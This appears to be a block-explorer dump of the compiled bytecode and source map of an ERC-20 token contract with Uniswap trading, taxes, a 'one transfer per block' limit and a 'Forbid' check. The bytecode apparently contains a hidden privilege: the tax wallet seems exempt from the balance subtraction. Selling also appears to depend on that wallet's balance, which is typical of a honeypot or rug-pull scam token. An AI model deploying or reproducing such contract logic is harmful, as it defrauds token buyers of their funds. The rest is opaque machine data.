031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107629190611706565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107db9190611731565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461081e5760405162461bcd60e51b8152600401610478906116ca565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103bd338484610a50565b5f546001600160a01b0316331461089b5760405162461bcd60e51b8152600401610478906116ca565b6108a76009600a6116a5565b6108b590631908b1006116b3565b6001556108c46009600a6116a5565b6108d290631908b1006116b3565b6002556012805460ff191690557f9b70c8c0b56ddd19d0d0ed169347e939cca5da0b0fbb40d21fd19eb8f36386fa61090c6009600a6116a5565b61091a90631908b1006116b3565b60405190815260200160405180910390a1565b6001600160a01b03831661098f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b0382166109f05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610478565b6001600160a01b038216610b1b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610478565b5f8111610b825760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610478565b5f80546001600160a01b03858116911614801590610bad57505f546001600160a01b03848116911614155b15610f7e5760125460ff1615610c70576013546001600160a01b03848116911614801590610be957506014546001600160a01b03848116911614155b15610c7057325f908152601160205260409020544311610c5e5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610478565b325f9081526011602052604090204390555b6014546001600160a01b038581169116148015610c9b57506013546001600160a01b03848116911614155b8015610cbf57506001600160a01b0383165f908152600f602052604090205460ff16155b15610db657600154821115610ce65760405162461bcd60e51b815260040161047890611750565b60025482610d08856001600160a01b03165f908152600d602052604090205490565b610d129190611770565b1115610d305760405162461bcd60e51b815260040161047890611750565b600b54600c541015610d4e57610d45836110f5565b15610d4e575f80fd5b600c8054905f610d5d83611783565b90915550506001600160a01b0383165f908152601060205260409020805460ff19166001179055600954600c54610db391606491610dad9110610da257600554610da6565b6007545b859061114e565b906111ad565b90505b6014546001600160a01b038481169116148015610ddc57506001600160a01b0384163014155b8015610e0057506001600160a01b0384165f908152600f602052604090205460ff16155b15610eab576001548211158015610e36575060045460125461010090046001600160a01b03165f908152600d6020526040902054105b610e525760405162461bcd60e51b815260040161047890611750565b610e776064610dad600a54600c5411610e6d57600654610da6565b600854859061114e565b9050600b54600c54118015610ea357506001600160a01b0384165f9081526010602052604090205460ff165b610eab575f80fd5b305f908152600d6020526040902054601454600160a81b900460ff16158015610ee157506014546001600160a01b038581169116145b8015610ef65750601454600160b01b900460ff165b8015610f03575060035481115b8015610f125750600b54600c54115b8015610f3657506001600160a01b0384165f908152600f602052604090205460ff16155b8015610f5a57506001600160a01b0385165f908152600f602052604090205460ff16155b15610f7c57610f7c610f7784610f72846004546111d9565b6111d9565b6111ee565b505b8015610ff657305f908152600d6020526040902054610f9d9082611377565b305f818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fed9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600d602052604090205461101a908590846113c0565b6001600160a01b0385165f908152600d602052604090205561105d61103f838361143d565b6001600160a01b0385165f908152600d602052604090205490611377565b6001600160a01b038085165f818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a6858561143d565b60405190815260200160405180910390a350505050565b5f81848411156110e05760405162461bcd60e51b81526004016104789190611495565b505f6110ec848661179b565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061112d5761112d6117ae565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361115d57505f6103c1565b5f61116883856116b3565b90508261117585836117c2565b146104485760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610478565b5f6104488383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250611469565b5f818310156111e85782610448565b50919050565b6014805460ff60a81b1916600160a81b179055801561136757601454600160a01b900460ff1615611367576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124c5761124c6117ae565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c791906116eb565b816001815181106112da576112da6117ae565b6001600160a01b039283166020918202929092010152601354611300913091168461092d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113389085905f908690309042906004016117e1565b5f604051808303815f87803b15801561134f575f80fd5b505af1158015611361573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113838385611770565b9050838110156104485760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610478565b6012545f906001600160a01b036101009091048116908516036113e4575081610448565b8183101561142c5760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610478565b611436828461179b565b9050610448565b5f6104488383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110bd565b5f81836114895760405162461bcd60e51b81526004016104789190611495565b505f6110ec84866117c2565b5f6020808352835180828501525f5b818110156114c0578581018301518582016040015282016114a4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114f4575f80fd5b50565b5f8060408385031215611508575f80fd5b8235611513816114e0565b946020939093013593505050565b5f805f60608486031215611533575f80fd5b833561153e816114e0565b9250602084013561154e816114e0565b929592945050506040919091013590565b5f6020828403121561156f575f80fd5b8135610448816114e0565b5f806040838503121561158b575f80fd5b8235611596816114e0565b915060208301356115a6816114e0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115ff57815f19048211156115e5576115e56115b1565b808516156115f257918102915b93841c93908002906115ca565b509250929050565b5f82611615575060016103c1565b8161162157505f6103c1565b816001811461163757600281146116415761165d565b60019150506103c1565b60ff841115611652576116526115b1565b50506001821b6103c1565b5060208310610133831016604e8410600b8410161715611680575081810a6103c1565b61168a83836115c5565b805f190482111561169d5761169d6115b1565b029392505050565b5f61044860ff841683611607565b80820281158282048414176103c1576103c16115b1565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f602082840312156116fb575f80fd5b8151610448816114e0565b5f805f60608486031215611718575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611741575f80fd5b81518015158114610448575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103c1576103c16115b1565b5f60018201611794576117946115b1565b5060010190565b818103818111156103c1576103c16115b1565b634e487b7160e01b5f52603260045260245ffd5b5f826117dc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561182f5784516001600160a01b03168352938301939183019160010161180a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e993d14a1732c26d7171a1e0cf8646b155d68b43c43479dfb6d19b7a2c3543b64736f6c63430008140033

Deployed Bytecode Sourcemap

3470:8288:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5374:83;;;;;;;;;;-1:-1:-1;5444:5:0;;;;;;;;;;;;-1:-1:-1;;;5444:5:0;;;;5374:83;;;;;;;:::i;:::-;;;;;;;;6214:161;;;;;;;;;;-1:-1:-1;6214:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6214:161:0;1023:187:1;5651:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5651:100:0;1215:177:1;6383:316:0;;;;;;;;;;-1:-1:-1;6383:316:0;;;;;:::i;:::-;;:::i;11034:675::-;;;;;;;;;;;;;:::i;:::-;;5560:83;;;;;;;;;;-1:-1:-1;5560:83:0;;3709:1;2000:36:1;;1988:2;1973:18;5560:83:0;1858:184:1;4608:37:0;;;;;;;;;;-1:-1:-1;4608:37:0;;;;;;;;5759:119;;;;;;;;;;-1:-1:-1;5759:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5852:18:0;5825:7;5852:18;;;:9;:18;;;;;;;5759:119;2643:148;;;;;;;;;;;;;:::i;2454:79::-;;;;;;;;;;-1:-1:-1;2492:7:0;2519:6;-1:-1:-1;;;;;2519:6:0;2454:79;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2454:79:0;2299:203:1;4652:74:0;;;;;;;;;;-1:-1:-1;4652:74:0;;;;;;;-1:-1:-1;;;;;4652:74:0;;;5465:87;;;;;;;;;;-1:-1:-1;5537:7:0;;;;;;;;;;;;-1:-1:-1;;;5537:7:0;;;;5465:87;;3951:42;;;;;;;;;;;;;;;;5886:167;;;;;;;;;;-1:-1:-1;5886:167:0;;;;;:::i;:::-;;:::i;3897:47::-;;;;;;;;;;;;;;;;3842:48;;;;;;;;;;;;;;;;10527:220;;;;;;;;;;;;;:::i;6061:145::-;;;;;;;;;;-1:-1:-1;6061:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6170:19:0;;;6143:7;6170:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6061:145;3793:42;;;;;;;;;;;;;;;;6214:161;6289:4;6306:39;2101:10;6329:7;6338:6;6306:8;:39::i;:::-;-1:-1:-1;6363:4:0;6214:161;;;;;:::o;5651:100::-;5704:7;3772:13;3709:1;3772:2;:13;:::i;:::-;3759:27;;:9;:27;:::i;:::-;5724:19;;5651:100;:::o;6383:316::-;6481:4;6498:36;6508:6;6516:9;6527:6;6498:9;:36::i;:::-;6545:124;6554:6;2101:10;6576:92;6617:6;6576:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6576:19:0;;;;;;:11;:19;;;;;;;;2101:10;6576:33;;;;;;;;;;:40;:92::i;:::-;6545:8;:124::i;:::-;-1:-1:-1;6687:4:0;6383:316;;;;;;:::o;11034:675::-;2581:6;;-1:-1:-1;;;;;2581:6:0;2101:10;2581:22;2573:42;;;;-1:-1:-1;;;2573:42:0;;;;;;;:::i;:::-;;;;;;;;;11100:11:::1;::::0;-1:-1:-1;;;11100:11:0;::::1;;;11099:12;11090:44;;;::::0;-1:-1:-1;;;11090:44:0;;5125:2:1;11090:44:0::1;::::0;::::1;5107:21:1::0;5164:2;5144:18;;;5137:30;-1:-1:-1;;;5183:18:1;;;5176:47;5240:18;;11090:44:0::1;4923:341:1::0;11090:44:0::1;11146:13;:79:::0;;-1:-1:-1;;;;;;11146:79:0::1;11182:42;11146:79:::0;;::::1;::::0;;;11236:62:::1;::::0;11255:4:::1;::::0;3772:13:::1;3709:1;3772:2;:13;:::i;:::-;3759:27;::::0;:9:::1;:27;:::i;11236:62::-;11339:13;;;;;;;;;-1:-1:-1::0;;;;;11339:13:0::1;-1:-1:-1::0;;;;;11339:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11321:53:0::1;;11384:4;11391:13;;;;;;;;;-1:-1:-1::0;;;;;11391:13:0::1;-1:-1:-1::0;;;;;11391:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11321:92;::::0;-1:-1:-1;;;;;;11321:92:0::1;::::0;;;;;;-1:-1:-1;;;;;5755:15:1;;;11321:92:0::1;::::0;::::1;5737:34:1::0;5807:15;;5787:18;;;5780:43;5672:18;;11321:92:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11309:9;:104:::0;;-1:-1:-1;;;;;11309:104:0;;::::1;-1:-1:-1::0;;;;;;11309:104:0;;::::1;;::::0;;11424:13:::1;::::0;::::1;:29;11461:21;11494:4;11500:25;11494:4:::0;-1:-1:-1;;;;;5852:18:0;5825:7;5852:18;;;:9;:18;;;;;;;5759:119;11500:25:::1;11526:1;11528::::0;11530:7:::1;2492::::0;2519:6;-1:-1:-1;;;;;2519:6:0;;2454:79;11530:7:::1;11424:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11424:130:0;;;-1:-1:-1;;;;;6193:15:1;;;11424:130:0::1;::::0;::::1;6175:34:1::0;6225:18;;;6218:34;;;;6268:18;;;6261:34;;;;6311:18;;;6304:34;6375:15;;;6354:19;;;6347:44;11538:15:0::1;6407:19:1::0;;;6400:35;6109:19;;11424:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11573:9:0::1;::::0;11601:13:::1;::::0;11565:68:::1;::::0;-1:-1:-1;;;11565:68:0;;-1:-1:-1;;;;;11601:13:0;;::::1;11565:68;::::0;::::1;6931:51:1::0;-1:-1:-1;;6998:18:1;;;6991:34;11573:9:0;::::1;::::0;-1:-1:-1;11565:26:0::1;::::0;6904:18:1;;11565:68:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11644:19:0::1;:26:::0;;-1:-1:-1;;;;11682:18:0;-1:-1:-1;;;11682:18:0;;;11034:675::o;2643:148::-;2581:6;;-1:-1:-1;;;;;2581:6:0;2101:10;2581:22;2573:42;;;;-1:-1:-1;;;2573:42:0;;;;;;;:::i;:::-;2750:1:::1;2734:6:::0;;2713:40:::1;::::0;-1:-1:-1;;;;;2734:6:0;;::::1;::::0;2713:40:::1;::::0;2750:1;;2713:40:::1;2781:1;2764:19:::0;;-1:-1:-1;;;;;;2764:19:0::1;::::0;;2643:148::o;5886:167::-;5964:4;5981:42;2101:10;6005:9;6016:6;5981:9;:42::i;10527:220::-;2581:6;;-1:-1:-1;;;;;2581:6:0;2101:10;2581:22;2573:42;;;;-1:-1:-1;;;2573:42:0;;;;;;;:::i;:::-;3772:13:::1;3709:1;3772:2;:13;:::i;:::-;3759:27;::::0;:9:::1;:27;:::i;:::-;10581:12;:29:::0;3772:13:::1;3709:1;3772:2;:13;:::i;:::-;3759:27;::::0;:9:::1;:27;:::i;:::-;10622:18;:33:::0;10667:16:::1;:24:::0;;-1:-1:-1;;10667:24:0::1;::::0;;10709:29:::1;3772:13;3709:1;3772:2;:13;:::i;:::-;3759:27;::::0;:9:::1;:27;:::i;:::-;10709:29;::::0;1361:25:1;;;1349:2;1334:18;10709:29:0::1;;;;;;;10527:220::o:0;6707:337::-;-1:-1:-1;;;;;6801:19:0;;6793:68;;;;-1:-1:-1;;;6793:68:0;;7520:2:1;6793:68:0;;;7502:21:1;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:34;7693:19;;6793:68:0;7318:400:1;6793:68:0;-1:-1:-1;;;;;6880:20:0;;6872:67;;;;-1:-1:-1;;;6872:67:0;;7925:2:1;6872:67:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:32;8096:19;;6872:67:0;7723:398:1;6872:67:0;-1:-1:-1;;;;;6950:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7003:33;;1361:25:1;;;7003:33:0;;1334:18:1;7003:33:0;;;;;;;6707:337;;;:::o;7052:2590::-;-1:-1:-1;;;;;7141:17:0;;7132:73;;;;-1:-1:-1;;;7132:73:0;;8328:2:1;7132:73:0;;;8310:21:1;8367:2;8347:18;;;8340:30;8406:34;8386:18;;;8379:62;-1:-1:-1;;;8457:18:1;;;8450:40;8507:19;;7132:73:0;8126:406:1;7132:73:0;-1:-1:-1;;;;;7225:15:0;;7216:65;;;;-1:-1:-1;;;7216:65:0;;8739:2:1;7216:65:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:34;8912:19;;7216:65:0;8537:400:1;7216:65:0;7310:1;7301:6;:10;7292:71;;;;-1:-1:-1;;;7292:71:0;;9144:2:1;7292:71:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:45;9328:19;;7292:71:0;8942:411:1;7292:71:0;7374:18;2519:6;;-1:-1:-1;;;;;7413:15:0;;;2519:6;;7413:15;;;;:30;;-1:-1:-1;2492:7:0;2519:6;-1:-1:-1;;;;;7431:12:0;;;2519:6;;7431:12;;7413:30;7407:1843;;;7467:16;;;;7462:315;;;7522:13;;-1:-1:-1;;;;;7509:27:0;;;7522:13;;7509:27;;;;:53;;-1:-1:-1;7552:9:0;;-1:-1:-1;;;;;7539:23:0;;;7552:9;;7539:23;;7509:53;7504:258;;;7609:9;7594:25;;;;:14;:25;;;;;;7622:12;-1:-1:-1;7585:96:0;;;;-1:-1:-1;;;7585:96:0;;9560:2:1;7585:96:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:40;9739:19;;7585:96:0;9358:406:1;7585:96:0;7717:9;7702:25;;;;:14;:25;;;;;7730:12;7702:40;;7504:258;7807:9;;-1:-1:-1;;;;;7799:17:0;;;7807:9;;7799:17;:49;;;;-1:-1:-1;7834:13:0;;-1:-1:-1;;;;;7820:28:0;;;7834:13;;7820:28;;7799:49;:70;;;;-1:-1:-1;;;;;;7852:17:0;;;;;;:13;:17;;;;;;;;7851:18;7799:70;7793:512;;;7909:12;;7899:6;:22;;7890:42;;;;-1:-1:-1;;;7890:42:0;;;;;;;:::i;:::-;7987:18;;7977:6;7960:14;7971:2;-1:-1:-1;;;;;5852:18:0;5825:7;5852:18;;;:9;:18;;;;;;;5759:119;7960:14;:23;;;;:::i;:::-;:45;;7951:64;;;;-1:-1:-1;;;7951:64:0;;;;;;;:::i;:::-;8051:10;;8039:9;;:22;8034:93;;;8094:12;8103:2;8094:8;:12::i;:::-;8093:13;8084:23;;;;;;8145:9;:12;;;:9;:12;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8160:13:0;;;;;;:9;:13;;;;;:20;;-1:-1:-1;;8160:20:0;8176:4;8160:20;;;8235:15;;8223:9;;8211:78;;8285:3;;8211:69;;-1:-1:-1;8222:57:0;;8265:14;;8222:57;;;8252:12;;8222:57;8211:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8199:90;;7793:512;8330:9;;-1:-1:-1;;;;;8324:15:0;;;8330:9;;8324:15;:38;;;;-1:-1:-1;;;;;;8341:21:0;;8357:4;8341:21;;8324:38;:62;;;;-1:-1:-1;;;;;;8367:19:0;;;;;;:13;:19;;;;;;;;8365:21;8324:62;8321:369;;;8426:12;;8416:6;:22;;:64;;;;-1:-1:-1;8468:12:0;;8452:13;;;;;-1:-1:-1;;;;;8452:13:0;5825:7;5852:18;;;:9;:18;;;;;;8442:38;8416:64;8407:84;;;;-1:-1:-1;;;8407:84:0;;;;;;;:::i;:::-;8522:83;8601:3;8522:74;8546:17;;8534:9;;:29;8533:62;;8580:15;;8533:62;;;8566:13;;8522:6;;:10;:74::i;:83::-;8510:95;;8644:10;;8633:9;;:21;:40;;;;-1:-1:-1;;;;;;8658:15:0;;;;;;:9;:15;;;;;;;;8633:40;8624:50;;;;;;8755:4;8706:28;5852:18;;;:9;:18;;;;;;8781:11;;-1:-1:-1;;;8781:11:0;;;;8780:12;:46;;;;-1:-1:-1;8817:9:0;;-1:-1:-1;;;;;8811:15:0;;;8817:9;;8811:15;8780:46;:67;;;;-1:-1:-1;8828:19:0;;-1:-1:-1;;;8828:19:0;;;;8780:67;:110;;;;;8873:17;;8850:20;:40;8780:110;:151;;;;;8921:10;;8909:9;;:22;8780:151;:174;;;;-1:-1:-1;;;;;;8936:18:0;;;;;;:13;:18;;;;;;;;8934:20;8780:174;:199;;;;-1:-1:-1;;;;;;8959:20:0;;;;;;:13;:20;;;;;;;;8957:22;8780:199;8776:463;;;9015:70;9029:55;9035:6;9042:41;9048:20;9070:12;;9042:5;:41::i;:::-;9029:5;:55::i;:::-;9015:13;:70::i;:::-;7445:1805;7407:1843;9267:13;;9262:174;;9342:4;9323:25;;;;:9;:25;;;;;;:40;;9353:9;9323:29;:40::i;:::-;9314:4;9296:24;;;;:9;:24;;;;;;;:67;;;;9382:42;;-1:-1:-1;;;;;9382:42:0;;;;;;;9414:9;1361:25:1;;1349:2;1334:18;;1215:177;9382:42:0;;;;;;;;9262:174;-1:-1:-1;;;;;9477:16:0;;;;;;:9;:16;;;;;;9464:38;;9470:4;;9495:6;9464:5;:38::i;:::-;-1:-1:-1;;;;;9446:15:0;;;;;;:9;:15;;;;;:56;9529:43;9547:24;:6;9561:9;9547:12;:24::i;:::-;-1:-1:-1;;;;;9529:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9513:13:0;;;;;;;:9;:13;;;;;:59;;;;9589:45;;;9609:24;:6;9623:9;9609:13;:24::i;:::-;9589:45;;1361:25:1;;;1349:2;1334:18;9589:45:0;;;;;;;7121:2521;7052:2590;;;:::o;1230:193::-;1319:7;1355:12;1347:6;;;;1339:29;;;;-1:-1:-1;;;1339:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1379:9:0;1391:5;1395:1;1391;:5;:::i;:::-;1379:17;1230:193;-1:-1:-1;;;;;1230:193:0:o;10754:270::-;10876:16;;;10890:1;10876:16;;;;;;;;;10811:4;;;;;;10876:16;;;;;;;;;;;-1:-1:-1;10876:16:0;10847:45;;10914:7;10899:9;10909:1;10899:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10899:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;10962:20:0;11004:12;;;10754:270::o;1431:221::-;1489:7;1513:1;1518;1513:6;1509:47;;-1:-1:-1;1543:1:0;1536:8;;1509:47;1566:9;1578:5;1582:1;1578;:5;:::i;:::-;1566:17;-1:-1:-1;1611:1:0;1602:5;1606:1;1566:17;1602:5;:::i;:::-;:10;1594:31;;;;-1:-1:-1;;;1594:31:0;;11194:2:1;1594:31:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1594:31:0;10992:331:1;1660:114:0;1718:7;1745:21;1749:1;1752;1745:21;;;;;;;;;;;;;-1:-1:-1;;;1745:21:0;;;:3;:21::i;10167:106::-;10226:7;10255:1;10250;:6;;10249:16;;10264:1;10249:16;;;-1:-1:-1;10260:1:0;10167:106;-1:-1:-1;10167:106:0:o;9650:509::-;5017:11;:18;;-1:-1:-1;;;;5017:18:0;-1:-1:-1;;;5017:18:0;;;9732:34;;9758:7:::1;9732:34;9780:11;::::0;-1:-1:-1;;;9780:11:0;::::1;;;9776:25:::0;9793:7:::1;9776:25;9836:19;::::0;;9853:1:::1;9836:19:::0;;;;;::::1;::::0;;9811:21:::1;::::0;9836:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9836:19:0::1;9811:44;;9885:4;9866;9871:1;9866:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9866:24:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:24;;;;9911:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;9911:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;9866:7;;9911:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9901:4;9906:1;9901:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9901:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;9976:13:::1;::::0;9942:69:::1;::::0;9960:4:::1;::::0;9976:13:::1;9992:18:::0;9942:8:::1;:69::i;:::-;10022:13;::::0;:129:::1;::::0;-1:-1:-1;;;10022:129:0;;-1:-1:-1;;;;;10022:13:0;;::::1;::::0;:64:::1;::::0;:129:::1;::::0;10088:18;;10022:13:::1;::::0;10111:4;;10125::::1;::::0;10132:17:::1;::::0;10022:129:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9721:438;5046:1;-1:-1:-1::0;5058:11:0;:19;;-1:-1:-1;;;;5058:19:0;;;9650:509::o;934:160::-;992:7;;1024:5;1028:1;1024;:5;:::i;:::-;1012:17;;1053:1;1048;:6;;1040:27;;;;-1:-1:-1;;;1040:27:0;;11194:2:1;1040:27:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1040:27:0;10992:331:1;10281:238:0;10382:13;;10354:7;;-1:-1:-1;;;;;10382:13:0;;;;;;10374:21;;;;10370:142;;-1:-1:-1;10415:1:0;10408:8;;10370:142;10454:1;10449;:6;;10441:40;;;;-1:-1:-1;;;10441:40:0;;12515:2:1;10441:40:0;;;12497:21:1;12554:2;12534:18;;;12527:30;-1:-1:-1;;;12573:18:1;;;12566:51;12634:18;;10441:40:0;12313:345:1;10441:40:0;10499:5;10503:1;10499;:5;:::i;:::-;10492:12;;;;1102:120;1163:7;1191:23;1197:1;1200;1191:23;;;;;;;;;;;;;-1:-1:-1;;;1191:23:0;;;:5;:23::i;1782:189::-;1868:7;1903:12;1896:5;1888:28;;;;-1:-1:-1;;;1888:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1927:9:0;1939:5;1943:1;1939;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;